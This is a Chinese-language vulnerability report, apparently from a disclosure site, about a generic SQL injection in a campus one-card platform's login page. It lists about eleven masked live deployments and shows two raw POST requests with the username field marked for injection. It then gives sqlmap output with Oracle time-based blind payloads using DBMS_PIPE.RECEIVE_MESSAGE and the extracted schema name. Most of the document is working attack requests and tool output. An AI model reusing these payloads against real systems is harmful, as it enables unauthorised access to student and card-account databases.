某校园一卡通平台通用型SQL注入漏洞(终结篇)

收集案例： 
 http://**.**.**.**/ 
 http://**.**.**.**/ 
 http://**.**.**.**/ 
 **.**.**.**/SelfSearch/Default.aspx 
 **.**.**.**/SelfSearch/ 
 http://**.**.**.**/SelfSearch/ 
 http://**.**.**.**/default.aspx 
 http://**.**.**.**/selfsearch/ 
 **.**.**.**/selfsearch/ 
 http://**.**.**.**:114/ 
 **.**.**.**/selfsearch/

测试数据
 POST /UserInfo/UserLogin.aspx HTTP/1.1
 Host: **.**.**.**
 Proxy-Connection: keep-alive
 Content-Length: 511
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://**.**.**.**
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Referer: http://**.**.**.**/UserInfo/UserLogin.aspx
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
 Cookie: ASP.NET_SessionId=mczm4gqd5k5bqknbrab5phbc
 
 __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTczODI0OTkzNQ9kFgICAw9kFgQCAw8PFgIeB1Zpc2libGVnZBYCAgEPDxYCHgRUZXh0BQznlKjmiLflkI3vvJpkZAIFDw8WAh8AaGQWBAIBDw8WAh8BBQ3plJnor6%2Fljp%2Flm6A6ZGQCAw8PFgIfAQVC5p%2Bl6K%2Bi57uT5p6c5Li656m677yM6L6T5YWl55qE55So5oi35LiN5a2Y5Zyo5oiW5bey5oiQ5biQ5aSW5Y2h77yBZGRkBoGAKLFhS9bp5K80l7EDTTWuKi4%3D&__EVENTVALIDATION=%2FwEWBgKwwJj9CQKl1bKzCQKd%2B7qdDgKY2YWXBgKTgvWHDQLJk9%2FkDImwNsGU0pQlSSMzEwopYl%2FPMVGy&txtUserName=*&txtPwd=123123&txtCheckCode=6174&btnUserLogin=

测试结果
 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: (custom) POST
 Parameter: #1*
     Type: AND/OR time-based blind
     Title: Oracle AND time-based blind (comment)
     Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTczODI0OTkzNQ9
 kFgICAw9kFgQCAw8PFgIeB1Zpc2libGVnZBYCAgEPDxYCHgRUZXh0BQznlKjmiLflkI3vvJpkZAIFDw8
 WAh8AaGQWBAIBDw8WAh8BBQ3plJnor6/ljp/lm6A6ZGQCAw8PFgIfAQVC5p+l6K+i57uT5p6c5Li656m
 677yM6L6T5YWl55qE55So5oi35LiN5a2Y5Zyo5oiW5bey5oiQ5biQ5aSW5Y2h77yBZGRkBoGAKLFhS9b
 p5K80l7EDTTWuKi4=&__EVENTVALIDATION=/wEWBgKwwJj9CQKl1bKzCQKd+7qdDgKY2YWXBgKTgvWH
 DQLJk9/kDImwNsGU0pQlSSMzEwopYl/PMVGy&txtUserName=%' AND 6545=DBMS_PIPE.RECEIVE_M
 ESSAGE(CHR(106)||CHR(109)||CHR(118)||CHR(84),5)--&txtPwd=123123&txtCheckCode=617
 4&btnUserLogin=
 ---
 [09:35:55] [INFO] the back-end DBMS is Oracle
 web server operating system: Windows 2008 R2 or 7
 web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
 back-end DBMS: Oracle
 [09:35:55] [INFO] fetching current database
 [09:35:55] [WARNING] time-based comparison requires larger statistical model, pl
 ease wait..............................
 do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
 '--time-sec')? [Y/n]
 [09:36:11] [WARNING] it is very important not to stress the network adapter duri
 ng usage of time-based payloads to prevent potential errors
 C
 [09:36:24] [INFO] adjusting time delay to 1 second due to good response times
 CENSE
 [09:36:52] [WARNING] on Oracle you'll need to use schema names for enumeration a
 s the counterpart to database names on other DBMSes
 current schema (equivalent to database on Oracle):    'CCENSE'
 [09:36:52] [INFO] fetched data logged to text files under 'C:/Users/Administrato
 r/.sqlmap/output/**.**.**.**'
 
 [*] shutting down at 09:36:52

测试数据
 POST /UserInfo/UserLogin.aspx HTTP/1.1
 Host: **.**.**.**:114
 Proxy-Connection: keep-alive
 Content-Length: 335
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://**.**.**.**:114
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
 Content-Type: application/x-www-form-urlencoded
 Referer: http://**.**.**.**:114/UserInfo/UserLogin.aspx
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
 Cookie: ASP.NET_SessionId=wsjzdsiykimw1w55yaq4oy55
 
 __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTUwNTExNDEzMg9kFgICAw9kFgICAQ9kFgICAQ8PFgIeBFRleHQFDOeUqOaIt%2BWQje%2B8mmRkZM%2BiPW9TLYnRwd1iqTJB7MVAWXC%2B&txtUserName=*&txtPwd=admin&txtCheckCode=7687&btnUserLogin=&__EVENTVALIDATION=%2FwEWBgLp%2F6GKAQKl1bKzCQKd%2B7qdDgKY2YWXBgKTgvWHDQLJk9%2FkDPlibsNXwBfNBpqqwnX79i55Bk1M

测试结果
 sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: (custom) POST
 Parameter: #1*
     Type: AND/OR time-based blind
     Title: Oracle AND time-based blind (comment)
     Payload: __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEPDwUKMTUwNTExNDEzMg9
 kFgICAw9kFgICAQ9kFgICAQ8PFgIeBFRleHQFDOeUqOaIt+WQje+8mmRkZM+iPW9TLYnRwd1iqTJB7MV
 AWXC+&txtUserName=%' AND 1858=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(116)||CHR(
 69)||CHR(87),5)--&txtPwd=admin&txtCheckCode=7687&btnUserLogin=&__EVENTVALIDATION
 =/wEWBgLp/6GKAQKl1bKzCQKd+7qdDgKY2YWXBgKTgvWHDQLJk9/kDPlibsNXwBfNBpqqwnX79i55Bk1
 M
 ---
 [09:46:39] [INFO] the back-end DBMS is Oracle
 web server operating system: Windows 2003 or XP
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: Oracle
 [09:46:40] [INFO] fetching current database
 [09:46:40] [WARNING] time-based comparison requires larger statistical model, pl
 ease wait..............................
 do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
 '--time-sec')? [Y/n]
 [09:47:00] [WARNING] it is very important not to stress the network adapter duri
 ng usage of time-based payloads to prevent potential errors
 [09:47:09] [INFO] adjusting time delay to 2 seconds due to good response times
 [09:47:09] [ERROR] invalid character detected. retrying..
 [09:47:09] [WARNING] increasing time delay to 3 seconds
 [09:47:18] [ERROR] invalid character detected. retrying..
 [09:47:18] [WARNING] increasing time delay to 4 seconds
 CCENSE
 [09:48:42] [WARNING] on Oracle you'll need to use schema names for enumeration a
 s the counterpart to database names on other DBMSes
 current schema (equivalent to database on Oracle):    'CCENSE'
 [09:48:42] [INFO] fetched data logged to text files under 'C:/Users/Administrato
 r/.sqlmap/output/**.**.**.**'
 
 [*] shutting down at 09:48:42